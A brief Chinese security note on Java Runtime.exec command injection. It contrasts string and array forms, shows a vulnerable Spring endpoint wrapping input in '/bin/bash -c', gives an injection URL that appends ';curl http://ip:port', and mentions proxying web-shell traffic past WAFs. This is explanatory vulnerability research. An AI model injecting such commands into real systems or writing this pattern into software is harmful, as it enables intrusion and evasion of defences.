偶然发现了一篇文章
https://www.anquanke.com/post/id/243329
其实说到底是java.lang.Runtime#exec(string)一个对命令进行了空格切分(导致切分不合本意),另一个string[]是自己去分离可以执行
下面代码是可以执行的
/cmd?command=;curl http://ip:port
@GetMapping(value = "/cmd")
public void cmd(@RequestParam String command) throws Exception {
String[] c = { "/bin/bash","-c", "hacker "+ command };///bin/bash -c hacker;ls
Process p = Runtime.getRuntime().exec(c);
}
下面是不能执行的
Command = "ping 127.0.0.1"+request.getParameter("cmd");
Runtime.getRuntime().exec(command);
- 菜刀HTTP流量中转代理过WAF 现在来说就是bx和gsl了